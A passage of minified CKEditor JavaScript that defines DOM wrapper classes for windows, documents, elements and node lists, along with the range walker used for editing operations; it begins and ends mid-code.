t=CKEDITOR.tools.rtrim(e.getText()),n=e.getLength();if(!t){e.remove();continue}t.length<n&&(e.split(t.length),this.$.lastChild.parentNode.removeChild(this.$.lastChild))}break}CKEDITOR.env.needsBrFiller&&(e=this.$.lastChild)&&1==e.type&&"br"==e.nodeName.toLowerCase()&&e.parentNode.removeChild(e)},isReadOnly:function(){var e=this;if(this.type!=CKEDITOR.NODE_ELEMENT&&(e=this.getParent()),e&&void 0!==e.$.isContentEditable)return!(e.$.isContentEditable||e.data("cke-editable"));for(;e&&!e.data("cke-editable");){if("false"==e.getAttribute("contentEditable"))return!0;if("true"==e.getAttribute("contentEditable"))break;e=e.getParent()}return!e}}),CKEDITOR.dom.window=function(e){CKEDITOR.dom.domObject.call(this,e)},CKEDITOR.dom.window.prototype=new CKEDITOR.dom.domObject,CKEDITOR.tools.extend(CKEDITOR.dom.window.prototype,{focus:function(){this.$.focus()},getViewPaneSize:function(){var e=this.$.document,t="CSS1Compat"==e.compatMode;return{width:(t?e.documentElement.clientWidth:e.body.clientWidth)||0,height:(t?e.documentElement.clientHeight:e.body.clientHeight)||0}},getScrollPosition:function(){var e=this.$;return"pageXOffset"in e?{x:e.pageXOffset||0,y:e.pageYOffset||0}:{x:(e=e.document).documentElement.scrollLeft||e.body.scrollLeft||0,y:e.documentElement.scrollTop||e.body.scrollTop||0}},getFrame:function(){var e=this.$.frameElement;return e?new CKEDITOR.dom.element.get(e):null}}),CKEDITOR.dom.document=function(e){CKEDITOR.dom.domObject.call(this,e)},CKEDITOR.dom.document.prototype=new CKEDITOR.dom.domObject,CKEDITOR.tools.extend(CKEDITOR.dom.document.prototype,{type:CKEDITOR.NODE_DOCUMENT,appendStyleSheet:function(e){if(this.$.createStyleSheet)this.$.createStyleSheet(e);else{var t=new CKEDITOR.dom.element("link");t.setAttributes({rel:"stylesheet",type:"text/css",href:e}),this.getHead().append(t)}},appendStyleText:function(e){if(this.$.createStyleSheet){var t=this.$.createStyleSheet("");t.cssText=e}else{var n=new CKEDITOR.dom.element("style",this);n.append(new CKEDITOR.dom.text(e,this)),this.getHead().append(n)}return t||n.$.sheet},createElement:function(e,t){var n=new CKEDITOR.dom.element(e,this);return t&&(t.attributes&&n.setAttributes(t.attributes),t.styles&&n.setStyles(t.styles)),n},createText:function(e){return new CKEDITOR.dom.text(e,this)},focus:function(){this.getWindow().focus()},getActive:function(){return new CKEDITOR.dom.element(this.$.activeElement)},getById:function(e){return(e=this.$.getElementById(e))?new CKEDITOR.dom.element(e):null},getByAddress:function(e,t){for(var n=this.$.documentElement,i=0;n&&i<e.length;i++){var o=e[i];if(t)for(var r=-1,a=0;a<n.childNodes.length;a++){var s=n.childNodes[a];if((!0!==t||3!=s.nodeType||!s.previousSibling||3!=s.previousSibling.nodeType)&&++r==o){n=s;break}}else n=n.childNodes[o]}return n?new CKEDITOR.dom.node(n):null},getElementsByTag:function(e,t){return(!CKEDITOR.env.ie||document.documentMode>8)&&t&&(e=t+":"+e),new CKEDITOR.dom.nodeList(this.$.getElementsByTagName(e))},getHead:function(){var e=this.$.getElementsByTagName("head")[0];return e?new CKEDITOR.dom.element(e):this.getDocumentElement().append(new CKEDITOR.dom.element("head"),!0)},getBody:function(){return new CKEDITOR.dom.element(this.$.body)},getDocumentElement:function(){return new CKEDITOR.dom.element(this.$.documentElement)},getWindow:function(){return new CKEDITOR.dom.window(this.$.parentWindow||this.$.defaultView)},write:function(e){this.$.open("text/html","replace"),CKEDITOR.env.ie&&(e=e.replace(/(?:^\s*<!DOCTYPE[^>]*?>)|^/i,'$&\n<script data-cke-temp="1">('+CKEDITOR.tools.fixDomain+")();<\/script>")),this.$.write(e),this.$.close()},find:function(e){return new CKEDITOR.dom.nodeList(this.$.querySelectorAll(e))},findOne:function(e){return(e=this.$.querySelector(e))?new CKEDITOR.dom.element(e):null},_getHtml5ShivFrag:function(){var e=this.getCustomData("html5ShivFrag");return e||(e=this.$.createDocumentFragment(),CKEDITOR.tools.enableHtml5Elements(e,!0),this.setCustomData("html5ShivFrag",e)),e}}),CKEDITOR.dom.nodeList=function(e){this.$=e},CKEDITOR.dom.nodeList.prototype={count:function(){return this.$.length},getItem:function(e){return e<0||e>=this.$.length?null:(e=this.$[e])?new CKEDITOR.dom.node(e):null}},CKEDITOR.dom.element=function(e,t){"string"==typeof e&&(e=(t?t.$:document).createElement(e)),CKEDITOR.dom.domObject.call(this,e)},CKEDITOR.dom.element.get=function(e){return(e="string"==typeof e?document.getElementById(e)||document.getElementsByName(e)[0]:e)&&(e.$?e:new CKEDITOR.dom.element(e))},CKEDITOR.dom.element.prototype=new CKEDITOR.dom.node,CKEDITOR.dom.element.createFromHtml=function(e,t){var n=new CKEDITOR.dom.element("div",t);return n.setHtml(e),n.getFirst().remove()},CKEDITOR.dom.element.setMarker=function(e,t,n,i){var o=t.getCustomData("list_marker_id")||t.setCustomData("list_marker_id",CKEDITOR.tools.getNextNumber()).getCustomData("list_marker_id"),r=t.getCustomData("list_marker_names")||t.setCustomData("list_marker_names",{}).getCustomData("list_marker_names");return e[o]=t,r[n]=1,t.setCustomData(n,i)},CKEDITOR.dom.element.clearAllMarkers=function(e){for(var t in e)CKEDITOR.dom.element.clearMarkers(e,e[t],1)},CKEDITOR.dom.element.clearMarkers=function(e,t,n){var i,o=t.getCustomData("list_marker_names"),r=t.getCustomData("list_marker_id");for(i in o)t.removeCustomData(i);t.removeCustomData("list_marker_names"),n&&(t.removeCustomData("list_marker_id"),delete e[r])},function(){function e(e){var t=!0;return e.$.id||(e.$.id="cke_tmp_"+CKEDITOR.tools.getNextNumber(),t=!1),function(){t||e.removeAttribute("id")}}function t(e,t){return"#"+e.$.id+" "+t.split(/,\s*/).join(", #"+e.$.id+" ")}function n(e){for(var t=0,n=0,o=i[e].length;n<o;n++)t+=parseInt(this.getComputedStyle(i[e][n])||0,10)||0;return t}CKEDITOR.tools.extend(CKEDITOR.dom.element.prototype,{type:CKEDITOR.NODE_ELEMENT,addClass:function(e){var t=this.$.className;t&&(RegExp("(?:^|\\s)"+e+"(?:\\s|$)","").test(t)||(t=t+" "+e)),this.$.className=t||e},removeClass:function(e){var t=this.getAttribute("class");return t&&(e=RegExp("(?:^|\\s+)"+e+"(?=\\s|$)","i")).test(t)&&((t=t.replace(e,"").replace(/^\s+/,""))?this.setAttribute("class",t):this.removeAttribute("class")),this},hasClass:function(e){return RegExp("(?:^|\\s+)"+e+"(?=\\s|$)","").test(this.getAttribute("class"))},append:function(e,t){return"string"==typeof e&&(e=this.getDocument().createElement(e)),t?this.$.insertBefore(e.$,this.$.firstChild):this.$.appendChild(e.$),e},appendHtml:function(e){if(this.$.childNodes.length){var t=new CKEDITOR.dom.element("div",this.getDocument());t.setHtml(e),t.moveChildren(this)}else this.setHtml(e)},appendText:function(e){null!=this.$.text?this.$.text=this.$.text+e:this.append(new CKEDITOR.dom.text(e))},appendBogus:function(e){if(e||CKEDITOR.env.needsBrFiller||CKEDITOR.env.opera){for(e=this.getLast();e&&e.type==CKEDITOR.NODE_TEXT&&!CKEDITOR.tools.rtrim(e.getText());)e=e.getPrevious();e&&e.is&&e.is("br")||(e=CKEDITOR.env.opera?this.getDocument().createText(""):this.getDocument().createElement("br"),CKEDITOR.env.gecko&&e.setAttribute("type","_moz"),this.append(e))}},breakParent:function(e){var t=new CKEDITOR.dom.range(this.getDocument());t.setStartAfter(this),t.setEndAfter(e),e=t.extractContents(),t.insertNode(this.remove()),e.insertAfterNode(this)},contains:CKEDITOR.env.ie||CKEDITOR.env.webkit?function(e){var t=this.$;return e.type!=CKEDITOR.NODE_ELEMENT?t.contains(e.getParent().$):t!=e.$&&t.contains(e.$)}:function(e){return!!(16&this.$.compareDocumentPosition(e.$))},focus:function(){function e(){try{this.$.focus()}catch(e){}}return function(t){t?CKEDITOR.tools.setTimeout(e,100,this):e.call(this)}}(),getHtml:function(){var e=this.$.innerHTML;return CKEDITOR.env.ie?e.replace(/<\?[^>]*>/g,""):e},getOuterHtml:function(){if(this.$.outerHTML)return this.$.outerHTML.replace(/<\?[^>]*>/,"");var e=this.$.ownerDocument.createElement("div");return e.appendChild(this.$.cloneNode(!0)),e.innerHTML},getClientRect:function(){var e=CKEDITOR.tools.extend({},this.$.getBoundingClientRect());return!e.width&&(e.width=e.right-e.left),!e.height&&(e.height=e.bottom-e.top),e},setHtml:CKEDITOR.env.ie&&CKEDITOR.env.version<9?function(e){try{var t=this.$;if(this.getParent())return t.innerHTML=e;var n=this.getDocument()._getHtml5ShivFrag();return n.appendChild(t),t.innerHTML=e,n.removeChild(t),e}catch(n){for(this.$.innerHTML="",(t=new CKEDITOR.dom.element("body",this.getDocument())).$.innerHTML=e,t=t.getChildren();t.count();)this.append(t.getItem(0));return e}}:function(e){return this.$.innerHTML=e},setText:function(e){return CKEDITOR.dom.element.prototype.setText=null!=this.$.innerText?function(e){return this.$.innerText=e}:function(e){return this.$.textContent=e},this.setText(e)},getAttribute:CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.ie6Compat)?function(e){switch(e){case"class":e="className";break;case"http-equiv":e="httpEquiv";break;case"name":return this.$.name;case"tabindex":return 0!==(e=this.$.getAttribute(e,2))&&0===this.$.tabIndex&&(e=null),e;case"checked":return((e=this.$.attributes.getNamedItem(e)).specified?e.nodeValue:this.$.checked)?"checked":null;case"hspace":case"value":return this.$[e];case"style":return this.$.style.cssText;case"contenteditable":case"contentEditable":return this.$.attributes.getNamedItem("contentEditable").specified?this.$.getAttribute("contentEditable"):null}return this.$.getAttribute(e,2)}:function(e){return this.$.getAttribute(e,2)},getChildren:function(){return new CKEDITOR.dom.nodeList(this.$.childNodes)},getComputedStyle:CKEDITOR.env.ie?function(e){return this.$.currentStyle[CKEDITOR.tools.cssStyleToDomStyle(e)]}:function(e){var t=this.getWindow().$.getComputedStyle(this.$,null);return t?t.getPropertyValue(e):""},getDtd:function(){var e=CKEDITOR.dtd[this.getName()];return this.getDtd=function(){return e},e},getElementsByTag:CKEDITOR.dom.document.prototype.getElementsByTag,getTabIndex:CKEDITOR.env.ie?function(){var e=this.$.tabIndex;return 0===e&&!CKEDITOR.dtd.$tabIndex[this.getName()]&&0!==parseInt(this.getAttribute("tabindex"),10)&&(e=-1),e}:CKEDITOR.env.webkit?function(){var e=this.$.tabIndex;return null==e&&(e=parseInt(this.getAttribute("tabindex"),10),isNaN(e)&&(e=-1)),e}:function(){return this.$.tabIndex},getText:function(){return this.$.textContent||this.$.innerText||""},getWindow:function(){return this.getDocument().getWindow()},getId:function(){return this.$.id||null},getNameAtt:function(){return this.$.name||null},getName:function(){var e=this.$.nodeName.toLowerCase();if(CKEDITOR.env.ie&&!(document.documentMode>8)){var t=this.$.scopeName;"HTML"!=t&&(e=t.toLowerCase()+":"+e)}return(this.getName=function(){return e})()},getValue:function(){return this.$.value},getFirst:function(e){var t=this.$.firstChild;return(t=t&&new CKEDITOR.dom.node(t))&&e&&!e(t)&&(t=t.getNext(e)),t},getLast:function(e){var t=this.$.lastChild;return(t=t&&new CKEDITOR.dom.node(t))&&e&&!e(t)&&(t=t.getPrevious(e)),t},getStyle:function(e){return this.$.style[CKEDITOR.tools.cssStyleToDomStyle(e)]},is:function(){var e=this.getName();if("object"==typeof arguments[0])return!!arguments[0][e];for(var t=0;t<arguments.length;t++)if(arguments[t]==e)return!0;return!1},isEditable:function(e){var t=this.getName();return!(this.isReadOnly()||"none"==this.getComputedStyle("display")||"hidden"==this.getComputedStyle("visibility")||CKEDITOR.dtd.$nonEditable[t]||CKEDITOR.dtd.$empty[t]||this.is("a")&&(this.data("cke-saved-name")||this.hasAttribute("name"))&&!this.getChildCount()||!1!==e&&(!(e=CKEDITOR.dtd[t]||CKEDITOR.dtd.span)||!e["#"]))},isIdentical:function(e){var t=this.clone(0,1);if(e=e.clone(0,1),t.removeAttributes(["_moz_dirty","data-cke-expando","data-cke-saved-href","data-cke-saved-name"]),e.removeAttributes(["_moz_dirty","data-cke-expando","data-cke-saved-href","data-cke-saved-name"]),t.$.isEqualNode)return t.$.style.cssText=CKEDITOR.tools.normalizeCssText(t.$.style.cssText),e.$.style.cssText=CKEDITOR.tools.normalizeCssText(e.$.style.cssText),t.$.isEqualNode(e.$);if(t=t.getOuterHtml(),e=e.getOuterHtml(),CKEDITOR.env.ie&&CKEDITOR.env.version<9&&this.is("a")){var n=this.getParent();n.type==CKEDITOR.NODE_ELEMENT&&((n=n.clone()).setHtml(t),t=n.getHtml(),n.setHtml(e),e=n.getHtml())}return t==e},isVisible:function(){var e,t,n=(this.$.offsetHeight||this.$.offsetWidth)&&"hidden"!=this.getComputedStyle("visibility");return n&&(CKEDITOR.env.webkit||CKEDITOR.env.opera)&&!(e=this.getWindow()).equals(CKEDITOR.document.getWindow())&&(t=e.$.frameElement)&&(n=new CKEDITOR.dom.element(t).isVisible()),!!n},isEmptyInlineRemoveable:function(){if(!CKEDITOR.dtd.$removeEmpty[this.getName()])return!1;for(var e=this.getChildren(),t=0,n=e.count();t<n;t++){var i=e.getItem(t);if((i.type!=CKEDITOR.NODE_ELEMENT||!i.data("cke-bookmark"))&&(i.type==CKEDITOR.NODE_ELEMENT&&!i.isEmptyInlineRemoveable()||i.type==CKEDITOR.NODE_TEXT&&CKEDITOR.tools.trim(i.getText())))return!1}return!0},hasAttributes:CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.ie6Compat)?function(){for(var e=this.$.attributes,t=0;t<e.length;t++){var n=e[t];switch(n.nodeName){case"class":if(this.getAttribute("class"))return!0;case"data-cke-expando":continue;default:if(n.specified)return!0}}return!1}:function(){var e=this.$.attributes,t=e.length,n={"data-cke-expando":1,_moz_dirty:1};return t>0&&(t>2||!n[e[0].nodeName]||2==t&&!n[e[1].nodeName])},hasAttribute:function(){function e(e){return!(!(e=this.$.attributes.getNamedItem(e))||!e.specified)}return CKEDITOR.env.ie&&CKEDITOR.env.version<8?function(t){return"name"==t?!!this.$.name:e.call(this,t)}:e}(),hide:function(){this.setStyle("display","none")},moveChildren:function(e,t){var n,i=this.$;if(i!=(e=e.$))if(t)for(;n=i.lastChild;)e.insertBefore(i.removeChild(n),e.firstChild);else for(;n=i.firstChild;)e.appendChild(i.removeChild(n))},mergeSiblings:function(){function e(e,t,n){if(t&&t.type==CKEDITOR.NODE_ELEMENT){for(var i=[];t.data("cke-bookmark")||t.isEmptyInlineRemoveable();)if(i.push(t),!(t=n?t.getNext():t.getPrevious())||t.type!=CKEDITOR.NODE_ELEMENT)return;if(e.isIdentical(t)){for(var o=n?e.getLast():e.getFirst();i.length;)i.shift().move(e,!n);t.moveChildren(e,!n),t.remove(),o&&o.type==CKEDITOR.NODE_ELEMENT&&o.mergeSiblings()}}}return function(t){(!1===t||CKEDITOR.dtd.$removeEmpty[this.getName()]||this.is("a"))&&(e(this,this.getNext(),!0),e(this,this.getPrevious()))}}(),show:function(){this.setStyles({display:"",visibility:""})},setAttribute:function(){var e=function(e,t){return this.$.setAttribute(e,t),this};return CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.ie6Compat)?function(t,n){return"class"==t?this.$.className=n:"style"==t?this.$.style.cssText=n:"tabindex"==t?this.$.tabIndex=n:"checked"==t?this.$.checked=n:"contenteditable"==t?e.call(this,"contentEditable",n):e.apply(this,arguments),this}:CKEDITOR.env.ie8Compat&&CKEDITOR.env.secure?function(t,n){if("src"==t&&n.match(/^http:\/\//))try{e.apply(this,arguments)}catch(e){}else e.apply(this,arguments);return this}:e}(),setAttributes:function(e){for(var t in e)this.setAttribute(t,e[t]);return this},setValue:function(e){return this.$.value=e,this},removeAttribute:CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.ie6Compat)?function(e){"class"==e?e="className":"tabindex"==e?e="tabIndex":"contenteditable"==e&&(e="contentEditable"),this.$.removeAttribute(e)}:function(e){this.$.removeAttribute(e)},removeAttributes:function(e){if(CKEDITOR.tools.isArray(e))for(var t=0;t<e.length;t++)this.removeAttribute(e[t]);else for(t in e)e.hasOwnProperty(t)&&this.removeAttribute(t)},removeStyle:function(e){if((i=this.$.style).removeProperty||"border"!=e&&"margin"!=e&&"padding"!=e)i.removeProperty?i.removeProperty(e):i.removeAttribute(CKEDITOR.tools.cssStyleToDomStyle(e)),this.$.style.cssText||this.removeAttribute("style");else{var t,n=["top","left","right","bottom"];"border"==e&&(t=["color","style","width"]);for(var i=[],o=0;o<n.length;o++)if(t)for(var r=0;r<t.length;r++)i.push([e,n[o],t[r]].join("-"));else i.push([e,n[o]].join("-"));for(e=0;e<i.length;e++)this.removeStyle(i[e])}},setStyle:function(e,t){return this.$.style[CKEDITOR.tools.cssStyleToDomStyle(e)]=t,this},setStyles:function(e){for(var t in e)this.setStyle(t,e[t]);return this},setOpacity:function(e){CKEDITOR.env.ie&&CKEDITOR.env.version<9?(e=Math.round(100*e),this.setStyle("filter",e>=100?"":"progid:DXImageTransform.Microsoft.Alpha(opacity="+e+")")):this.setStyle("opacity",e)},unselectable:function(){if(this.setStyles(CKEDITOR.tools.cssVendorPrefix("user-select","none")),CKEDITOR.env.ie||CKEDITOR.env.opera){this.setAttribute("unselectable","on");for(var e=this.getElementsByTag("*"),t=0,n=e.count();t<n;t++)e.getItem(t).setAttribute("unselectable","on")}},getPositionedAncestor:function(){for(var e=this;"html"!=e.getName();){if("static"!=e.getComputedStyle("position"))return e;e=e.getParent()}return null},getDocumentPosition:function(e){var t=0,n=0,i=this.getDocument(),o=i.getBody(),r="BackCompat"==i.$.compatMode;if(document.documentElement.getBoundingClientRect){var a=this.$.getBoundingClientRect(),s=i.$.documentElement,l=s.clientTop||o.$.clientTop||0,c=s.clientLeft||o.$.clientLeft||0,d=!0;CKEDITOR.env.ie&&(d=i.getDocumentElement().contains(this),i=i.getBody().contains(this),d=r&&i||!r&&d),d&&(t=a.left+(!r&&s.scrollLeft||o.$.scrollLeft),t-=c,n=a.top+(!r&&s.scrollTop||o.$.scrollTop),n-=l)}else for(o=this,i=null;o&&"body"!=o.getName()&&"html"!=o.getName();){for(t+=o.$.offsetLeft-o.$.scrollLeft,n+=o.$.offsetTop-o.$.scrollTop,o.equals(this)||(t+=o.$.clientLeft||0,n+=o.$.clientTop||0);i&&!i.equals(o);)t-=i.$.scrollLeft,n-=i.$.scrollTop,i=i.getParent();i=o,o=(a=o.$.offsetParent)?new CKEDITOR.dom.element(a):null}return e&&(o=this.getWindow(),i=e.getWindow(),!o.equals(i)&&o.$.frameElement&&(t+=(e=new CKEDITOR.dom.element(o.$.frameElement).getDocumentPosition(e)).x,n+=e.y)),document.documentElement.getBoundingClientRect||!CKEDITOR.env.gecko||r||(t+=this.$.clientLeft?1:0,n+=this.$.clientTop?1:0),{x:t,y:n}},scrollIntoView:function(e){var t=this.getParent();if(t)do{if((t.$.clientWidth&&t.$.clientWidth<t.$.scrollWidth||t.$.clientHeight&&t.$.clientHeight<t.$.scrollHeight)&&!t.is("body")&&this.scrollIntoParent(t,e,1),t.is("html")){var n=t.getWindow();try{var i=n.$.frameElement;i&&(t=new CKEDITOR.dom.element(i))}catch(e){}}}while(t=t.getParent())},scrollIntoParent:function(e,t,n){var i,o,r,a;function s(t,n){/body|html/.test(e.getName())?e.getWindow().$.scrollBy(t,n):(e.$.scrollLeft=e.$.scrollLeft+t,e.$.scrollTop=e.$.scrollTop+n)}function l(e,t){var n={x:0,y:0};if(!e.is(d?"body":"html")){var i=e.$.getBoundingClientRect();n.x=i.left,n.y=i.top}return(i=e.getWindow()).equals(t)||(i=l(CKEDITOR.dom.element.get(i.$.frameElement),t),n.x=n.x+i.x,n.y=n.y+i.y),n}function c(e,t){return parseInt(e.getComputedStyle("margin-"+t)||0,10)||0}!e&&(e=this.getWindow());var d="BackCompat"==(r=e.getDocument()).$.compatMode;e instanceof CKEDITOR.dom.window&&(e=d?r.getBody():r.getDocumentElement()),o=l(this,r=e.getWindow());var u=l(e,r),h=this.$.offsetHeight;i=this.$.offsetWidth;var m=e.$.clientHeight,f=e.$.clientWidth;r=o.x-c(this,"left")-u.x||0,a=o.y-c(this,"top")-u.y||0,i=o.x+i+c(this,"right")-(u.x+f)||0,o=o.y+h+c(this,"bottom")-(u.y+m)||0,(a<0||o>0)&&s(0,!0===t?a:!1===t?o:a<0?a:o),n&&(r<0||i>0)&&s(r<0?r:i,0)},setState:function(e,t,n){switch(t=t||"cke",e){case CKEDITOR.TRISTATE_ON:this.addClass(t+"_on"),this.removeClass(t+"_off"),this.removeClass(t+"_disabled"),n&&this.setAttribute("aria-pressed",!0),n&&this.removeAttribute("aria-disabled");break;case CKEDITOR.TRISTATE_DISABLED:this.addClass(t+"_disabled"),this.removeClass(t+"_off"),this.removeClass(t+"_on"),n&&this.setAttribute("aria-disabled",!0),n&&this.removeAttribute("aria-pressed");break;default:this.addClass(t+"_off"),this.removeClass(t+"_on"),this.removeClass(t+"_disabled"),n&&this.removeAttribute("aria-pressed"),n&&this.removeAttribute("aria-disabled")}},getFrameDocument:function(){var e=this.$;try{e.contentWindow.document}catch(t){e.src=e.src}return e&&new CKEDITOR.dom.document(e.contentWindow.document)},copyAttributes:function(e,t){for(var n=this.$.attributes,i=(t=t||{},0);i<n.length;i++){var o,r=n[i],a=r.nodeName.toLowerCase();a in t||("checked"==a&&(o=this.getAttribute(a))?e.setAttribute(a,o):(r.specified||CKEDITOR.env.ie&&r.nodeValue&&"value"==a)&&(null===(o=this.getAttribute(a))&&(o=r.nodeValue),e.setAttribute(a,o)))}""!==this.$.style.cssText&&(e.$.style.cssText=this.$.style.cssText)},renameNode:function(e){if(this.getName()!=e){var t=this.getDocument();e=new CKEDITOR.dom.element(e,t),this.copyAttributes(e),this.moveChildren(e),this.getParent()&&this.$.parentNode.replaceChild(e.$,this.$),e.$["data-cke-expando"]=this.$["data-cke-expando"],this.$=e.$}},getChild:function(){function e(e,t){var n=e.childNodes;if(t>=0&&t<n.length)return n[t]}return function(t){var n=this.$;if(t.slice)for(;t.length>0&&n;)n=e(n,t.shift());else n=e(n,t);return n?new CKEDITOR.dom.node(n):null}}(),getChildCount:function(){return this.$.childNodes.length},disableContextMenu:function(){this.on("contextmenu",(function(e){e.data.getTarget().hasClass("cke_enable_context_menu")||e.data.preventDefault()}))},getDirection:function(e){return e?this.getComputedStyle("direction")||this.getDirection()||this.getParent()&&this.getParent().getDirection(1)||this.getDocument().$.dir||"ltr":this.getStyle("direction")||this.getAttribute("dir")},data:function(e,t){return e="data-"+e,void 0===t?this.getAttribute(e):(!1===t?this.removeAttribute(e):this.setAttribute(e,t),null)},getEditor:function(){var e,t,n=CKEDITOR.instances;for(e in n)if((t=n[e]).element.equals(this)&&t.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO)return t;return null},find:function(n){var i=e(this);return n=new CKEDITOR.dom.nodeList(this.$.querySelectorAll(t(this,n))),i(),n},findOne:function(n){var i=e(this);return n=this.$.querySelector(t(this,n)),i(),n?new CKEDITOR.dom.element(n):null},forEach:function(e,t,n){if(!(n||t&&this.type!=t))var i=e(this);if(!1!==i){n=this.getChildren();for(var o=0;o<n.count();o++)(i=n.getItem(o)).type==CKEDITOR.NODE_ELEMENT?i.forEach(e,t):(!t||i.type==t)&&e(i)}}});var i={width:["border-left-width","border-right-width","padding-left","padding-right"],height:["border-top-width","border-bottom-width","padding-top","padding-bottom"]};CKEDITOR.dom.element.prototype.setSize=function(e,t,i){"number"==typeof t&&(!i||CKEDITOR.env.ie&&CKEDITOR.env.quirks||(t-=n.call(this,e)),this.setStyle(e,t+"px"))},CKEDITOR.dom.element.prototype.getSize=function(e,t){var i=Math.max(this.$["offset"+CKEDITOR.tools.capitalize(e)],this.$["client"+CKEDITOR.tools.capitalize(e)])||0;return t&&(i-=n.call(this,e)),i}}(),CKEDITOR.dom.documentFragment=function(e){e=e||CKEDITOR.document,this.$=e.type==CKEDITOR.NODE_DOCUMENT?e.$.createDocumentFragment():e},CKEDITOR.tools.extend(CKEDITOR.dom.documentFragment.prototype,CKEDITOR.dom.element.prototype,{type:CKEDITOR.NODE_DOCUMENT_FRAGMENT,insertAfterNode:function(e){(e=e.$).parentNode.insertBefore(this.$,e.nextSibling)}},!0,{append:1,appendBogus:1,getFirst:1,getLast:1,getParent:1,getNext:1,getPrevious:1,appendTo:1,moveChildren:1,insertBefore:1,insertAfterNode:1,replace:1,trim:1,type:1,ltrim:1,rtrim:1,getDocument:1,getChildCount:1,getChild:1,getChildren:1}),function(){function e(e,t){var n=this.range;if(this._.end)return null;if(!this._.start){if(this._.start=1,n.collapsed)return this.end(),null;n.optimize()}var i,o=n.startContainer;i=n.endContainer;var r,a=n.startOffset,s=n.endOffset,l=this.guard,c=this.type,d=e?"getPreviousSourceNode":"getNextSourceNode";if(!e&&!this._.guardLTR){var u=i.type==CKEDITOR.NODE_ELEMENT?i:i.getParent(),h=i.type==CKEDITOR.NODE_ELEMENT?i.getChild(s):i.getNext();this._.guardLTR=function(e,t){return!(t&&u.equals(e)||h&&e.equals(h)||e.type==CKEDITOR.NODE_ELEMENT&&t&&e.equals(n.root))}}if(e&&!this._.guardRTL){var m=o.type==CKEDITOR.NODE_ELEMENT?o:o.getParent(),f=o.type==CKEDITOR.NODE_ELEMENT?a?o.getChild(a-1):null:o.getPrevious();this._.guardRTL=function(e,t){return!(t&&m.equals(e)||f&&e.equals(f)||e.type==CKEDITOR.NODE_ELEMENT&&t&&e.equals(n.root))}}var E=e?this._.guardRTL:this._.guardLTR;for(r=l?function(e,t){return!1!==E(e,t)&&l(e,t)}:E,this.current?i=this.current[d](!1,c,r):(e?i.type==CKEDITOR.NODE_ELEMENT&&(i=s>0?i.getChild(s-1):!1===r(i,!0)?null:i.getPreviousSourceNode(!0,c,r)):(i=o).type!=CKEDITOR.NODE_ELEMENT||(i=i.getChild(a))||(i=!1===r(o,!0)?null:o.getNextSourceNode(!0,c,r)),i&&!1===r(i)&&(i=null));i&&!this._.end;){if(this.current=i,this.evaluator&&!1===this.evaluator(i)){if(t&&this.evaluator)return!1}else if(!t)return i;i=i[d](!1,c,r)}return this.end(),this.current=null}function t(t){for(var n,i=null;n=e.call(this,t);)i=n;return i}CKEDITOR.dom.walker=CKEDITOR.tools.createClass({$:function(e){this.range=e,this._={}},proto:{end:function(){this._.end=1},next:function(){return e.call(this)},previous:function(){return e.call(this,1)},checkForward:function(){return!1!==e.call(this,0,1)},checkBackward:function(){return!1!==e.call(this,1,1)},lastForward:function(){return t.call(this)},lastBackward:function(){return t.call(this,1)},reset:function(){delete this.current,this._={}}}});var n={block:1,"list-item":1,table:1,"table-row-group":1,"table-header-group":1,"table-footer-group":1,"table-row":1,"table-column-group":1,"table-column":1,"table-cell":1,"table-caption":1},i={absolute:1,fixed:1};CKEDITOR.dom.element.prototype.isBlockBoundary=function(e){return!("none"!=this.getComputedStyle("float")||this.getComputedStyle("position")in i||!n[this.getComputedStyle("display")])||!!(this.is(CKEDITOR.dtd.$block)||e&&this.is(e))},CKEDITOR.dom.walker.blockBoundary=function(e){return function(t){return!(t.type==CKEDITOR.NODE_ELEMENT&&t.isBlockBoundary(e))}},CKEDITOR.dom.walker.listItemBoundary=function(){return this.blockBoundary({br:1})},CKEDITOR.dom.walker.bookmark=function(e,t){function n(e){return e&&e.getName&&"span"==e.getName()&&e.data("cke-bookmark")}return function(i){var o,r;return o=i&&i.type!=CKEDITOR.NODE_ELEMENT&&(r=i.getParent())&&n(r),o=e?o:o||n(i),!!(t^o)}},CKEDITOR.dom.walker.whitespaces=function(e){return function(t){var n;return t&&t.type==CKEDITOR.NODE_TEXT&&(n=!CKEDITOR.tools.trim(t.getText())||CKEDITOR.env.webkit&&""==t.getText()),!!(e^n)}},CKEDITOR.dom.walker.invisible=function(e){var t=CKEDITOR.dom.walker.whitespaces();return function(n){return t(n)?n=1:(n.type==CKEDITOR.NODE_TEXT&&(n=n.getParent()),n=!n.$.offsetHeight),!!(e^n)}},CKEDITOR.dom.walker.nodeType=function(e,t){return function(n){return!!(t^n.type==e)}},CKEDITOR.dom.walker.bogus=function(e){function t(e){return!r(e)&&!a(e)}return function(n){var i=CKEDITOR.env.needsBrFiller?n.is&&n.is("br"):n.getText&&o.test(n.getText());return i&&(i=n.getParent(),n=n.getNext(t),i=i.isBlockBoundary()&&(!n||n.type==CKEDITOR.NODE_ELEMENT&&n.isBlockBoundary())),!!(e^i)}},CKEDITOR.dom.walker.temp=function(e){return function(t){return t.type!=CKEDITOR.NODE_ELEMENT&&(t=t.getParent()),t=t&&t.hasAttribute("data-cke-temp"),!!(e^t)}};var o=/^[\t\r\n ]*(?: |\xa0)$/,r=CKEDITOR.dom.walker.whitespaces(),a=CKEDITOR.dom.walker.bookmark(),s=CKEDITOR.dom.walker.temp();CKEDITOR.dom.walker.ignored=function(e){return function(t){return t=r(t)||a(t)||s(t),!!(e^t)}};var l=CKEDITOR.dom.walker.ignored(),c=function(e){var t,n={};for(t in e)CKEDITOR.dtd[t]["#"]&&(n[t]=1);return n}(CKEDITOR.dtd.$block);CKEDITOR.dom.walker.editable=function(e){return function(t){return!!(e^function(e){if(l(e))return!1;if(e.type==CKEDITOR.NODE_TEXT)return!0;if(e.type==CKEDITOR.NODE_ELEMENT){if(e.is(CKEDITOR.dtd.$inline)||"false"==e.getAttribute("contenteditable"))return!0;var t;if((t=!CKEDITOR.env.needsBrFiller)&&(t=e.is(c)))e:{t=0;for(var n=e.getChildCount();t<n;++t)if(!l(e.getChild(t))){t=!1;break e}t=!0}if(t)return!0}return!1}(t))}},CKEDITOR.dom.element.prototype.getBogus=function(){var 